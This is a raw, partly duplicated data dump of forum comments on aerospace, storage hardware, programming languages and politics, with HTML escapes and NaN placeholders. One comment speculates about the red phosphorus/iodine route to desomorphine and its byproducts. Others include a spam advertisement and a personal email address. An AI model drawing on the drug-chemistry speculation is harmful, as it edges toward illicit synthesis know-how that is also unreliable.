href=\\\"http://en.wikipedia.org/wiki/Lockheed_L-2000\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Lockheed_L-2000</a><p><a href=\\\"http://en.wikipedia.org/wiki/Boeing_2707\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Boeing_2707</a><p>The Soviets also had a design that supposedly incorporated stolen Concorde blueprints.<p><a href=\\\"http://en.wikipedia.org/wiki/Tupolev_Tu-144\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Tupolev_Tu-144</a>\", NaN, \"Well, AWS CLI is built on botocore. I&#x27;ve used boto sinne 2012 and never got the feeling it&#x27;s a second class citizen. Mitch&#x27;s leaving Amazon didn&#x27;t slow things down. Nowadays when new services are released there is usually a new version of boto available immediately.\", \"Thanks.<p>That makes me wonder why Columbia was at 39-degree orbital inclination - making it unable to get to the ISS, and unable to be rescued by a Soyuz.<p>Reading the purpose of the mission [1], I don&#x27;t see any reason it needed to be were it was.<p>[1]<a href=\\\"http://en.wikipedia.org/wiki/STS-107\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/STS-107</a>\", \"ok, I think I got it.  Fundamentals I know enough to be dangerous, thanks for the pointers to captive portal.  I&#x27;ll be able to run with this now... I upvoted you and 0x0\", \"When a person says that we should be sending humans into space, they are implicitly claiming to know the ROI, (at least that it is greater than some amount).<p>I personally don&#x27;t believe we should be doing human space exploration, because exploration with machines strictly dominates exploration with humans.  The only reason for human space travel is if we value moving humans for its own sake (e.g. to reduce the risk of humanity getting wiped out in a comet strike).  But I think that could be better handled with anti-comet measures and underground bunkers.\", \"Find the best and the cheap rubish removal service in Sydney to make your surrounding free from rubbish.\", NaN, \"Seagate tried to take advantage of the 80/20 rule with their SSHD &quot;hybrid drives&quot;. Unfortunately, they decided to use only 8GB of flash on all of their SSHDs. That&#x27;s a far cry from 80/20. The solid-state cache only covers 1.6% of a 500GB hybrid drive, 0.8% of a 1TB drive, and 0.2% of a 4TB drive (yes, Seagate makes 4TB SSHDs). Those Seagate drives don&#x27;t even have enough flash to hold a recent version of Windows and some commonly used apps, not to mention any games.<p>The laptop version is even worse because the non-flash part only spins at 5400rpm. Somehow they thought this would be okay in a performance-oriented drive. The slow platters make Seagate SSHDs even slower in general than regular 7200rpm laptop drives from WD and Hitachi/HGST. The only improvement is slightly shorter boot time.<p>Since the day the first generation of SSHDs came out, reviewers have said that you need at least 32GB of flash in a hybrid drive to see much real-world benefit. Everyone has also been complaining about the choice of 5400rpm. But three SSHD generations later, Seagate still hasn&#x27;t listened.<p>Now the SSHD technology is on the way to irrelevance because (1) SSDs have become much cheaper than three years ago, and (2) even if you need a lot of space, the mSATA form factor now allows most laptop users to install an SSD <i>in addition to</i>, not instead of, a 2.5&quot; hard drive. These days, I wouldn&#x27;t even consider the SSHD as an option. I&#x27;d just buy a large hard drive <i>and</i> an mSATA SSD, there&#x27;s no need for a hybrid anymore.<p>It&#x27;s a sad tale of corporate boneheadedness killing off an idea that had so much potential.\", \"Any idea why they can&#x27;t use hydrogen and oxygen directly? Or are they just using a smaller quantity of helium as a &#x27;working refrigerant&#x27;?\", \"Soyuz is mentioned in the CAIB report.<p>+++++++++++<p>5.2 Other Vehicles (Soyuz, Ariane 4)\\\\nThere has been some discussion regarding the possibility of sending supplies to Columbia using an expendable launch vehicle \\u2013 to lengthen the amount of time available to execute a rescue mission. Because of Columbia&#x27;s 39-degree orbital inclination, an expendable launch from a launch site with a latitude greater than 39 degrees would not be able to reach Columbia. This rules out a Soyuz/Progress launch. There was an Ariane 4 in French Guiana that successfully launched an Intelsat satellite on February 15. The challenge with developing a supply kit, building an appropriate housing and separation system, and reprogramming the Ariane seems very difficult in three weeks, although this option is still in work.<p>\\u2014Columbia Accident Investigation Board Report, Appendix D.13<p>++++++++++<p>(Yanked from the Ars comment section)\", \"Oh here we go again, please! While Eich resigned there was no way he could have continued at Mozilla and the way you frame your frustrated demand for his explanation, there was no way anything he said short of a complete reversal, abject apology (as if he didn&#x27;t actually apologize for hurt he caused), and compensation to a pro Marriage Equality cause that would begin to please your grievances. I actually respect him more for quietly departing after the crap that was flung at him, rather than pull a weaselly Obama and &quot;evolve&quot;. You means justify the ends types will be very sorry when you&#x27;re on the losing side of your approach.\", \"I thought the liquid helium is only for an engine testbed. Production Skylon engines will use liquid hydrogen and oxygen, effectively using their criogenic fuel as a heat sink.\", \"Why will launching a space vehicle never be as routine as commercial air travel?<p>I think it should be one of the goals of mankind. There is no fundamental law of physics that says we can&#x27;t make it routine. The author states that they don&#x27;t think it will be feasible in our lifetime. However the amount of technological advancement that has been made over the past century is astounding. There is no reason to think this would be unfeasible.\", \">The documentation is inanely bad. I can&#x27;t explain it.<p>I&#x27;m surprised that the author is saying this as I&#x27;ve experienced exactly the opposite. R completely documents all the arguments and outputs  of its functions, and documentation is easy to pull up by function, and this is almost universal both for distribution and community packages. Additionally the documentation often includes vignettes that show full examples.<p>In contrast, Python documentation is most often documented on long pages that mentions functions, but does not describe arguments or the output. I&#x27;ve found almost no Python documentation to be adequate, outside of some of the core functions. And when it is adequate, it&#x27;s exceedingly verbose, and lacking in examples, basically the worst of all worlds.\", \"As do I. I gave up after the second season because my hurt from all the rolling. The thing that bothers me is I really liked all other aspects of the show. I just couldn&#x27;t take the preaching anymore.\", \">So based on these, the main motivation for this is probably for the mass savings and efficiency.<p>They plan to invest all those savings into a single-stage-to-orbit launcher. It&#x27;s appealing in a similar manner that SpaceX&#x27;s stage-return strategy, but in a one-spacecraft package. High-mach aircraft will find other uses too besides orbital launchers.<p>As for saving a &#x27;mere&#x27; 15% at launch that can be crucial from a payload perspective in the rocket equation.\", \"To compare with previous years (<a href=\\\"http://css.csail.mit.edu/6.858/2013/projects.html\\\" rel=\\\"nofollow\\\">http://css.csail.mit.edu/6.858/2013/projects.html</a>):<p>2013 vs 2014<p>2/35 vs  4/25 - Bitcoin Projects<p>12/35 vs  4/25 - Encrypted Filesystems<p>2/35 vs  1/25 - Privilege Separation\", \"I guess they also have a lot of software running that they rely on and is written in C or C++. And still, there is no SDK - there is also no (Node)JS SDK. Using Docker does not force you to support golang in any way.\", \"Have activists been successful in changing Uber policies?  Activists and irate taxi drivers generate even more news stories, i.e. more free coverage and watercooler talk for each Uber launch.\", \"I lean towards the pessimistic side of humanity&#x27;s future in space, but I don&#x27;t see that being a practical problem. If we manage to figure out a way to create a viable atmosphere on Mars, it ought to be a relatively trivial add-on to supply enough atmospheric gasses to make up for losses to solar radiation.\", NaN, \"Yeah, we made that the default project for teams to work on.\", \"Even more fun is using tramp to edit files as root on a machine via ssh. The whole installed editor canard is somewhat a nonissue from the emacs side.\", NaN, \"> Although entropy must increase over time in an isolated or \\u201cclosed\\u201d system, an \\u201copen\\u201d system can keep its entropy low \\u2014 that is, divide energy unevenly among its atoms \\u2014 by greatly increasing the entropy of its surroundings.<p>Perhaps the Earth biosphere is the only &quot;open&quot; system in the Universe that keeps its entropy low by increasing the entropy of its surroundings, i.e. the rest of the Universe.\", \"I&#x27;m surprised Prolog is not listed there.  here&#x27;s a simple example, try designing a function that calculates Fibonacci two ways in your favourite language.  given fib(N,X).  You can supply either N, or X or neither and generate the result.<p>?- time(fib(N, 703303677114228158218352548771835497701812698363587327426049\\\\n050871545371181969335797422494945626117334877504492417659910\\\\n881863632654502236471060120533741212738673391111981393731255\\\\n98767690091902245245323403501)).\\\\n% 44,649,335 inferences, 4.182 CPU in 4.193 seconds (100% CPU, 10676854 Lips)\\\\nN = 1000 .<p>?- time(fib(1000, F)).\\\\n% 497,690 inferences, 0.072 CPU in 0.072 seconds (100% CPU, 6935880 Lips)\\\\n...\", \"Can these be netbooted, thus, not needing an SD or eMMC card at all?\", NaN, \"As others have suggested, if mmap is so fast, wouldn&#x27;t it be expected that write/pwrite would just be mapped (pun intended) to mmap inside the standard library? [Heck for all I know, that might already be the case]<p>I have had to actually write benchmark tests to show some people I work with that there was no conlusive difference between the two (with our data access patterns). mmap having the disadvantage that it allows you more ways to shoot yourself in the foot (ever seen SIGBUS signals?). Before that they swore up and down how mmap is this magic performance hack that was burried in there for ages and only the elites know about it.\", NaN, NaN, \"Interesting how 4 of the 25 projects are related to Bitcoin. It just goes show that the cryptocurrency inspires a good fraction of computer & network security people:<p>CheckBits: <a href=\\\"http://css.csail.mit.edu/6.858/2014/projects/adat-bschang-ericadu-ptew.pdf\\\" rel=\\\"nofollow\\\">http://css.csail.mit.edu/6.858/2014/projects/adat-bschang-er...</a><p>TorCoin: <a href=\\\"http://css.csail.mit.edu/6.858/2014/projects/bchrobot-ynnad19-dereklax.pdf\\\" rel=\\\"nofollow\\\">http://css.csail.mit.edu/6.858/2014/projects/bchrobot-ynnad1...</a><p>Dryer21, a Bitcoin Anonymizer Service: <a href=\\\"http://css.csail.mit.edu/6.858/2014/projects/asuhl-dannybd-snp.pdf\\\" rel=\\\"nofollow\\\">http://css.csail.mit.edu/6.858/2014/projects/asuhl-dannybd-s...</a><p>Merkelized Abstract Syntax Trees: <a href=\\\"http://css.csail.mit.edu/6.858/2014/projects/jlrubin-mnaik-nityas.pdf\\\" rel=\\\"nofollow\\\">http://css.csail.mit.edu/6.858/2014/projects/jlrubin-mnaik-n...</a>\", NaN, \"I believe cigarette companies were charged with misrepresenting their products. Presumably the person you&#x27;re responding to would accept the cigarette solution: warning labels and sale to non minors only, and hefty fines for misleading advertising if performed.\", \"A bug nobody has pointed out yet is that star-star-t (sorry, can&#x27;t figure out this site&#x27;s markup for escaping stars) dereferences a null pointer. It appears to work because gcc decides to generate the same code for star-star-t as for star-t (which is correct behaviour if star-t is not NULL, and moot if t is NULL).  The code should just be star-t there.<p>Also, sizeof(int star-star) in hnew should be sizeof( int (star)[2] ).\", \"They are not, and as I recall it was one of the criticisms a friend of mine levelled at the report as well. That by sending up a Soyuz, and using both that module and the backup, they could return 6 people to earth. Then a second and Soyuz mission and the Atlantis mission to replace the backup and return excess crew. Leaving Columbia on orbit awaiting some form of repair or scuttling.<p>Mostly though it re-emphasized how &quot;not routine&quot; going up into space is. Orbital windows not withstanding, you cannot just &quot;decide&quot; to catch the next one and bring up hardware to fly. Something I hope we can get to with Falcon 9 re-use.\", \"I think you may have replied to the wrong comment, since what you said has nothing at all to do with what I was asking or saying in the comment of mine to which you attached it.\", NaN, NaN, \"We didn&#x27;t go back to the moon for the simple reason that there is nothing there for a human.<p>Mars is the same way, and there is little reason to send a human there - there&#x27;s just nothing there for a human to do.\", \"> H may be everywhere, but O is nowhere convenient.<p>O is easy to get if you have energy - every rock is made of a metal oxide.\", \"The paper describes it; it&#x27;s only 14 pages and is quite readable.\", \"To be more precise, it was common with motherboards that used the MC146818 RTC chip used in the original PC/AT. The four AAs provided a total of 6V of power.\", NaN, \"Calling something complex and nuanced != no true scotsman.\", \"For example 1TB Samsung drives delivered 100 MB/s over 5 years ago. Most 3.5&quot; disks delivered as much.\", NaN, \"15MHz is not from the 70s ;-) (at least outside of labs). The IBM PC shipped with a 4.77MHz CPU in the early 80s, the 386 came out in 1986 at 12 MHz, the Mac II was 16MHz in 1987.<p>I got hooked on programming by the HP65, an early and very expensive programmable calculator (with magnetic data storage!) that a family friend let me play with for an afternoon. Eventually I got my own Sinclair calculator (36 instruction memory!) and programmed it obsessively. If that thing ran at 1MHz I&#x27;d be very, very surprised.<p>Incidentally, around 1983-85 there was a brief explosion of electronic typewriters with small (usually 2-4-line) LCD displays and oversized calculators with qwerty keyboards, a decent amount of memory (16 kB say), and some form of BASIC. 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At moment I didn&#x27;t find any issue with 6to5 but if I&#x27;ll do of course I will let you know. Btw feel free to do the same on my project.\", \"I had something much larger typed up, but I&#x27;ll be honest, it&#x27;s been a number of years since I studied and my chemistry is a bit rusty. From what I seem to remember, I would&#x27;ve thought the apomorphine rearrangement would be more likely to prevail in the conditions given from a RP/I2 reaction, but I&#x27;m possibly completely off-base now (see above: rusty!).<p>I&#x27;d be super curious to see whether anyone has properly analysed what comes out of that reaction, and what those addicts are putting into their veins (aside from horrendous toxic byproducts). The reaction method makes some sense, but reactions with opiates are typically finicky, so I&#x27;ve always been skeptical of these reports. I&#x27;d expect desomorphine to be present, yes, but in trace amounts at best (along with morphine and other byproducts)!\", \"> Note it presently has no support for loops whatsoever.<p>Could you comment on why? Is it perhaps necessary to save/restore ECX [edit: I meant RCX for 64bit] between procedure/function <i>call</i>s/<i>ret</i>s?\", \"Do you remember the Matrix movie from 1999? The GitHub Matrix shows a constant stream of latest commits from GitHub in a Matrix-style animation. Click on the drops to open the corresponding revision on GitHub.<p>The source code is published under MIT license on GitHub: <a href=\\\"https://github.com/winterbe/github-matrix\\\" rel=\\\"nofollow\\\">https://github.com/winterbe/github-matrix</a><p>Please retweet this if you like: :) <a href=\\\"https://twitter.com/benontherun/status/544372319867899906\\\" rel=\\\"nofollow\\\">https://twitter.com/benontherun/status/544372319867899906</a>\", \"<i>over-analysis of language is needed when language becomes arbitrary</i><p>I&#x27;m not sure I understand why over-analysis is needed.  The &quot;cloud&quot; concept isn&#x27;t entirely arbitrary.  Most clouds (unless they&#x27;re in a photograph or painting or being described abstractly using language) arise from the same physical processes and behave similarly (raining, darkening the sky and so on).  This is how &quot;cloud&quot; gets its meaning in everyday language: there really is a shared phenomenon there.<p>The error happens when we try to understand the individual physical processes underlying a particular phenomenon as part of a single object.  Even though the concept of separate objects is useful in everyday life, it no longer has meaning when you start trying to decide which cloud a given raindrop belongs to.  Why not just abandon the now-useless concept of cloud and start talking about the raindrops as individual entities with their own behavior?  Of course, we could look closely at the raindrops and see they are made of molecules: really the concept of &quot;raindrop&quot; is just another useful but ultimately imprecise bit of language.  And so on...\", \"I disagree with clumping atonal together with microtonal, they are two completely different things.<p>Regarding Wyschnegradsky, maybe his music is a gentle introduction into atonal music, I don&#x27;t know. Compared to other microtonal music though, I find it quite dissonant. Some alternatives I would suggest:<p>Wendy Carlos&#x27; album &quot;Beaty in the Beast&quot;,\\\\nEasley Blackwood&#x27;s etudes, such as this: <a href=\\\"https://www.youtube.com/watch?v=odTIoRzbDhA\\\" rel=\\\"nofollow\\\">https://www.youtube.com/watch?v=odTIoRzbDhA</a> , Sevish&#x27;s music: <a href=\\\"https://soundcloud.com/sevish\\\" rel=\\\"nofollow\\\">https://soundcloud.com/sevish</a> ,Cryptic Ruse&#x27;s music: <a href=\\\"https://soundcloud.com/crypticruse\\\" rel=\\\"nofollow\\\">https://soundcloud.com/crypticruse</a>, X.J. Scott&#x27;s music: <a href=\\\"http://www.soundclick.com/bands/default.cfm?bandID=141776\\\" rel=\\\"nofollow\\\">http://www.soundclick.com/bands/default.cfm?bandID=141776</a> ,Prent Rodgers&#x27; music: <a href=\\\"https://soundcloud.com/prent-rodgers\\\" rel=\\\"nofollow\\\">https://soundcloud.com/prent-rodgers</a> ,Dante Rosati&#x27;s music: <a href=\\\"https://soundcloud.com/dante-rosati\\\" rel=\\\"nofollow\\\">https://soundcloud.com/dante-rosati</a> ,Syzygy&#x27;s music: <a href=\\\"https://www.youtube.com/watch?v=j3FZkQTn51o\\\" rel=\\\"nofollow\\\">https://www.youtube.com/watch?v=j3FZkQTn51o</a><p>And I could go on.\", \"True, but you can increase that reliability with encrypted sqlite. Gonna have to pay for it, though.\", \"Yes, write a book. It would sell like hot cakes to us.  You&#x27;ve inspired the shit out of me today!!\", NaN, \"Not a very good starting point to consider phone app storage a reliable secure black box...\", \"I didn&#x27;t know Esperanto.I will test it an if it produces a better output I&#x27;d be happy to replace requirejs + amdclean with it\", \"> <i>&quot;The Soviets also had a design that supposedly incorporated stolen Concorde blueprints&quot;</i><p>From what I understand, the Tu-144 didn&#x27;t really incorporate anything of significance from Concorde -- the plans they had access to were more like sketches than fully fleshed out blueprints, and they only had usable details on a few minor components.  The Tu-144 shares mostly superficial similarities with Concorde, with only a couple of similarities that might possibly have been the result of espionage.\", \"Thats the exact point. Why pay for all flash in a storage system when the costs don&#x27;t justify the usage. The article is pointing out that our applications don&#x27;t use all of the storage allocated to them. Thus we really don&#x27;t need a one medium for all but rather a tailored approach based on your workloads.\", \"Thank you.\", \"Stockholm&#x27;s home stock stunted; startups stifled<p>You&#x27;re gonna have to learn to talk that <i>Variety</i> speak!\", \"I can understand that debugging expanded code is not fun.<p>On the other hand, LOOP allows to naturally express iteration patterns that can be error-prone with other languages: you hardly produce off-by-one bugs contrary to hand-crafted loops.<p>See the Appendix of the Iterate manual for a comparison of looping constructs in CL: <a href=\\\"http://common-lisp.net/project/iterate/doc/Don_0027t-Loop-Iterate.html\\\" rel=\\\"nofollow\\\">http://common-lisp.net/project/iterate/doc/Don_0027t-Loop-It...</a>.\", \"Can a &#x27;perfect&#x27; algorithm actually give end-users the consistent feel of flash performance with 80% of data stuck on platters? I doubt it.<p>Access patterns having some statistical distribution is one thing. Writing the allocator -- and always guessing right in where you allocate a file is another thing altogether.<p>Flash is massively higher performance, so every time you are wrong the user will definitely know. All we hear about these drives is that they aren&#x27;t consistently fast. Or they&#x27;re decent until you actually push them too hard.<p>SSDs themselves used to have poor consistency. But drives are manufactured to ever increasing standards. The Samsung 10 year warranty for example is striking.<p>80% of your data on a medium which is less reliable over time?! More complex moving parts increases failure rates. There are downsides here to consider I think?\", \"Yes, I&#x27;m familiar with Michael Hoffman&#x27;s egodeath theory, and I agree with many of his historical perspectives and interpretations of religious experience. Like you say, his theory is hard to summarize. Relating to this thread, I think psychoactives can be a double-edged sword used for good or evil. Quoting Hoffman:<p>> Given that the Empire used entheogenic mystery-religion initiation to dominate socially and oppressively, Christianity used mystery-religion initiation to emancipate/liberate ... The religions of Jesus and Caesar were in a battle over the meaning and application of mystery-religion initiation. It&#x27;s a battle about what to do with the fact of mystery-religion initiation. [1]<p>Perhaps there were mystery cults with the best of intentions, such as the Gnostics for example, who would have had good reasons to conduct their initiations in secrecy to avoid persecution. And perhaps psychoactives can be used for &quot;short path enlightenment&quot; as Watts would say, as well as for political control.<p>What gives me pause for concern is the evidence of deep involvement on the part of the CIA with the drug counterculture. This is the same agency with a history of overthrowing democratically elected governments, conducting heinous psychological experiments on Americans, and not to mention torturing and murdering people around the world. They&#x27;re simply not to be trusted.<p>Yet we find the fingerprints of the CIA all over the origins of the so-called psychedelic revolution, even carefully crafting the terms and definitions in which to frame the discussion:<p>> In the early years of research into these drugs, psychology researchers and military intelligence communities sometimes called them, aside from \\u201challucinogen,\\u201d by the name \\u201cpsychotomimetic\\u201d \\u2013which means psychosis mimicking. The word hallucinogen, \\u201cto generate hallucinations,\\u201d came just a few years before psychotomimetic. The same year that psychotomimetic was created we also saw the creation of the word \\u201cpsychedelic\\u201d \\u2013 which means \\u201cto manifest the mind.\\u201d The last stage of this etymological evolution, as we\\u2019ll see, was the word \\u201centheogen\\u201d \\u2013 which means \\u201cto generate god within.\\u201d<p>The word &quot;entheogen&quot; was a creation of Wasson and Ruck [2], which has the intended effect of framing discussions about psychoactives as spiritual phenomenon. Like Leary said, it&#x27;s all about set and setting.<p>Jan Irvin, a researcher in this field who I quoted above, has said that &quot;mysticism is the tool of tyrants&quot;. It&#x27;s hard to find cases in history of mysticism liberating individuals with so-called true knowledge. Usually, it&#x27;s been the opposite: rational, scientifically-based discovery has been the liberator from superstition, ignorance, prejudice, and authority.<p>I&#x27;ll definitely check out csp.org since this is an area of interest for me. And I&#x27;d be happy to talk about experiences via an email discussion with you at donald dot ness at gmail dot com.<p>[1] <a href=\\\"http://www.egodeath.com/SocioPoliticalResistanceAsThematicLayer.htm\\\" rel=\\\"nofollow\\\">http://www.egodeath.com/SocioPoliticalResistanceAsThematicLa...</a>\\\\n[2] <a href=\\\"http://www.gnosticmedia.com/Entheogens_WhatsinaName_PsychedelicSpirituality_SocialControl_CIA#_ednref105\\\" rel=\\\"nofollow\\\">http://www.gnosticmedia.com/Entheogens_WhatsinaName_Psychede...</a>\", \"Yup. Simply disassociating the benefits of rent control from the housing unit it is attached to would go a long way to permitting development. The way things are today, rent control basically serves as an almost permanent mutex on the development of the underlying real estate.<p>I&#x27;d be more useful if cities made it a policy that the amount of housing subsidy you receive is proportional to the year you moved to the city. That would achieve the same goal as rent control (i.e. affordable housing), but alleviates the mutex on many structures that could be torn down to make way for structures that permit great density.<p>Affordable housing programs are fine. Tying up the underlying asset indefinitely is counterproductive.\", \"Thanks 4 your feedback, the reason why I am using the requrejs + amdclean is that the other tools I&#x27;ve found like browserify add extra code to keep using the require calls and I would like to avoid it. If there is a better solution I&#x27;d really appreciate a pull request\", \"And not just rendering. Animation is the biggest issue. You don&#x27;t get Hollywood quality animation out of nothing. DX12 is going to provide some new features but calling it &quot;as good as CGI&quot; (i.e. movie-quality CGI) is just dreaming.\", \"CGI = Computer-generated Imagery<p>Now that&#x27;s what I call a tautology :)<p>&quot;Feature film quality&quot; is probably what the author was after.\", \"You describe me by directly contradicting my own statements. Now you&#x27;re telling me I am lying about myself just so you can paint me as some particular kind of bogeyman? You could have had this conversation without me. Try accusing a mailbox of something as an outlet, perhaps? Or do you have a need to make people feel bad?\", \"Seems there&#x27;s nothing specific in the article about which which changes to DX are supposed to enable CGI quality, or how. Is it more polys/sec for smoother models and more geometry? Maybe a more efficient shared memory architecture for GI (I&#x27;m speculating. Maybe dreaming)? We&#x27;re always being promised cinema quality in games, and while we&#x27;re really not all that far off from it already, we&#x27;re still quite a bit behind in lighting/rendering.\", \"Mostly reliability. I would never carry spinning rust in my laptop again, those days are gone. But also form factor, simplicity, consistency of end-user experience, and eventually solid-state will be cheaper than spinning platters in any case. Every graph I&#x27;ve seen of storage price with series for platters and flash show those lines eventually intersecting.\", NaN, \"My suspicion is that it started as an economic move. The Israelites were sheep herders trying to carve a niche in a dominant culture of pig and cattle herders. Telling them they couldn&#x27;t eat pork and certain sacrifices had to be lambs was a way of subsidizing the sheep farmers. I came to this conclusion after reading a long chapter in the bible that talks about the breeding. Even back then they understood husbandry and economics. I doubt anyone had a clue about germ theory.\", \"The semantics for write(2) and mmap(2) differ. Neither can be used to implement the other in full.<p>It&#x27;s possible to have access patterns which don&#x27;t demonstrate the efficiencies of mmap but it would be incorrect to suggest they do not exist. The overhead of making a syscall to access an area of a file and copying the data being accessed is significant for many workloads.\", \"Shiny is incredible. My company might be delivering a customer facing product using Shiny.\", \"We don&#x27;t know when and where life might have existed or currently exists ...even on the planets that we know about. Some interesting things to read if you wonder about such things:<p><pre><code>  http://en.wikipedia.org/wiki/Sara_Seager#Seager_equation\\\\n  http://en.wikipedia.org/wiki/Drake_equation</code></pre>\", \"I am glad I read the article and not judge it based on your comment. Your comment is apparently valid for some research but here its targeting the wrong one.\", \"Or maybe people just shouldn&#x27;t take drugs.\", \"Are there historical parallels to the current situation? Has there been another time or place where a young population all of a sudden became rich in the span of only a few decades and wanted to live in urban areas, which were currently occupied by less rich communities?<p>Has this happened before? How did it turn out?\", \"Absolutely. We&#x27;re not even certain if life exists (or ever previously existed) on planets that we have hardware on.<p>The criteria in the article were input energy and a &quot;bath&quot; into which that energy can be dissipated. Perhaps there is a minimum potential difference before structures will self-organize--or perhaps the probability of self-organization is proportional to the difference.<p>Speculating along this line of reasoning: On Mercury, you have plenty of input energy, but few options for dissipating it. On Europa, you may have the reverse problem.<p>For all we know, however, Europa may actually have life. Our sample set is too small.\", \"As a whole, I think the article finally provides a fair amount of specificness, but I was initially struck by how much space is devoted up front to &quot;he-said she-said&quot;. It reminded me of celebrity gossip, sportscasting, and punditry.\", NaN, \"The Kennedy administration funded a Mach-3 airliner that was supposed to be an answer to the European Concorde project.<p><a href=\\\"http://en.wikipedia.org/wiki/Lockheed_L-2000\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Lockheed_L-2000</a><p><a href=\\\"http://en.wikipedia.org/wiki/Boeing_2707\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Boeing_2707</a><p>The Soviets also had a design that supposedly incorporated stolen Concorde blueprints.<p><a href=\\\"http://en.wikipedia.org/wiki/Tupolev_Tu-144\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Tupolev_Tu-144</a>\", NaN, \"Well, AWS CLI is built on botocore. I&#x27;ve used boto sinne 2012 and never got the feeling it&#x27;s a second class citizen. Mitch&#x27;s leaving Amazon didn&#x27;t slow things down. Nowadays when new services are released there is usually a new version of boto available immediately.\", \"Thanks.<p>That makes me wonder why Columbia was at 39-degree orbital inclination - making it unable to get to the ISS, and unable to be rescued by a Soyuz.<p>Reading the purpose of the mission [1], I don&#x27;t see any reason it needed to be were it was.<p>[1]<a href=\\\"http://en.wikipedia.org/wiki/STS-107\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/STS-107</a>\", \"ok, I think I got it.  Fundamentals I know enough to be dangerous, thanks for the pointers to captive portal.  I&#x27;ll be able to run with this now... I upvoted you and 0x0\", \"When a person says that we should be sending humans into space, they are implicitly claiming to know the ROI, (at least that it is greater than some amount).<p>I personally don&#x27;t believe we should be doing human space exploration, because exploration with machines strictly dominates exploration with humans.  The only reason for human space travel is if we value moving humans for its own sake (e.g. to reduce the risk of humanity getting wiped out in a comet strike).  But I think that could be better handled with anti-comet measures and underground bunkers.\", \"Find the best and the cheap rubish removal service in Sydney to make your surrounding free from rubbish.\", NaN, \"Seagate tried to take advantage of the 80/20 rule with their SSHD &quot;hybrid drives&quot;. Unfortunately, they decided to use only 8GB of flash on all of their SSHDs. That&#x27;s a far cry from 80/20. The solid-state cache only covers 1.6% of a 500GB hybrid drive, 0.8% of a 1TB drive, and 0.2% of a 4TB drive (yes, Seagate makes 4TB SSHDs). Those Seagate drives don&#x27;t even have enough flash to hold a recent version of Windows and some commonly used apps, not to mention any games.<p>The laptop version is even worse because the non-flash part only spins at 5400rpm. Somehow they thought this would be okay in a performance-oriented drive. The slow platters make Seagate SSHDs even slower in general than regular 7200rpm laptop drives from WD and Hitachi/HGST. The only improvement is slightly shorter boot time.<p>Since the day the first generation of SSHDs came out, reviewers have said that you need at least 32GB of flash in a hybrid drive to see much real-world benefit. Everyone has also been complaining about the choice of 5400rpm. But three SSHD generations later, Seagate still hasn&#x27;t listened.<p>Now the SSHD technology is on the way to irrelevance because (1) SSDs have become much cheaper than three years ago, and (2) even if you need a lot of space, the mSATA form factor now allows most laptop users to install an SSD <i>in addition to</i>, not instead of, a 2.5&quot; hard drive. These days, I wouldn&#x27;t even consider the SSHD as an option. I&#x27;d just buy a large hard drive <i>and</i> an mSATA SSD, there&#x27;s no need for a hybrid anymore.<p>It&#x27;s a sad tale of corporate boneheadedness killing off an idea that had so much potential.\", \"Any idea why they can&#x27;t use hydrogen and oxygen directly? Or are they just using a smaller quantity of helium as a &#x27;working refrigerant&#x27;?\", \"Soyuz is mentioned in the CAIB report.<p>+++++++++++<p>5.2 Other Vehicles (Soyuz, Ariane 4)\\\\nThere has been some discussion regarding the possibility of sending supplies to Columbia using an expendable launch vehicle \\u2013 to lengthen the amount of time available to execute a rescue mission. Because of Columbia&#x27;s 39-degree orbital inclination, an expendable launch from a launch site with a latitude greater than 39 degrees would not be able to reach Columbia. This rules out a Soyuz/Progress launch. There was an Ariane 4 in French Guiana that successfully launched an Intelsat satellite on February 15. The challenge with developing a supply kit, building an appropriate housing and separation system, and reprogramming the Ariane seems very difficult in three weeks, although this option is still in work.<p>\\u2014Columbia Accident Investigation Board Report, Appendix D.13<p>++++++++++<p>(Yanked from the Ars comment section)\", \"Oh here we go again, please! While Eich resigned there was no way he could have continued at Mozilla and the way you frame your frustrated demand for his explanation, there was no way anything he said short of a complete reversal, abject apology (as if he didn&#x27;t actually apologize for hurt he caused), and compensation to a pro Marriage Equality cause that would begin to please your grievances. I actually respect him more for quietly departing after the crap that was flung at him, rather than pull a weaselly Obama and &quot;evolve&quot;. You means justify the ends types will be very sorry when you&#x27;re on the losing side of your approach.\", \"I thought the liquid helium is only for an engine testbed. Production Skylon engines will use liquid hydrogen and oxygen, effectively using their criogenic fuel as a heat sink.\", \"Why will launching a space vehicle never be as routine as commercial air travel?<p>I think it should be one of the goals of mankind. There is no fundamental law of physics that says we can&#x27;t make it routine. The author states that they don&#x27;t think it will be feasible in our lifetime. However the amount of technological advancement that has been made over the past century is astounding. There is no reason to think this would be unfeasible.\", \">The documentation is inanely bad. I can&#x27;t explain it.<p>I&#x27;m surprised that the author is saying this as I&#x27;ve experienced exactly the opposite. R completely documents all the arguments and outputs  of its functions, and documentation is easy to pull up by function, and this is almost universal both for distribution and community packages. Additionally the documentation often includes vignettes that show full examples.<p>In contrast, Python documentation is most often documented on long pages that mentions functions, but does not describe arguments or the output. I&#x27;ve found almost no Python documentation to be adequate, outside of some of the core functions. And when it is adequate, it&#x27;s exceedingly verbose, and lacking in examples, basically the worst of all worlds.\", \"As do I. I gave up after the second season because my hurt from all the rolling. The thing that bothers me is I really liked all other aspects of the show. I just couldn&#x27;t take the preaching anymore.\", \">So based on these, the main motivation for this is probably for the mass savings and efficiency.<p>They plan to invest all those savings into a single-stage-to-orbit launcher. It&#x27;s appealing in a similar manner that SpaceX&#x27;s stage-return strategy, but in a one-spacecraft package. High-mach aircraft will find other uses too besides orbital launchers.<p>As for saving a &#x27;mere&#x27; 15% at launch that can be crucial from a payload perspective in the rocket equation.\", \"To compare with previous years (<a href=\\\"http://css.csail.mit.edu/6.858/2013/projects.html\\\" rel=\\\"nofollow\\\">http://css.csail.mit.edu/6.858/2013/projects.html</a>):<p>2013 vs 2014<p>2/35 vs  4/25 - Bitcoin Projects<p>12/35 vs  4/25 - Encrypted Filesystems<p>2/35 vs  1/25 - Privilege Separation\", \"I guess they also have a lot of software running that they rely on and is written in C or C++. And still, there is no SDK - there is also no (Node)JS SDK. Using Docker does not force you to support golang in any way.\", \"Have activists been successful in changing Uber policies?  Activists and irate taxi drivers generate even more news 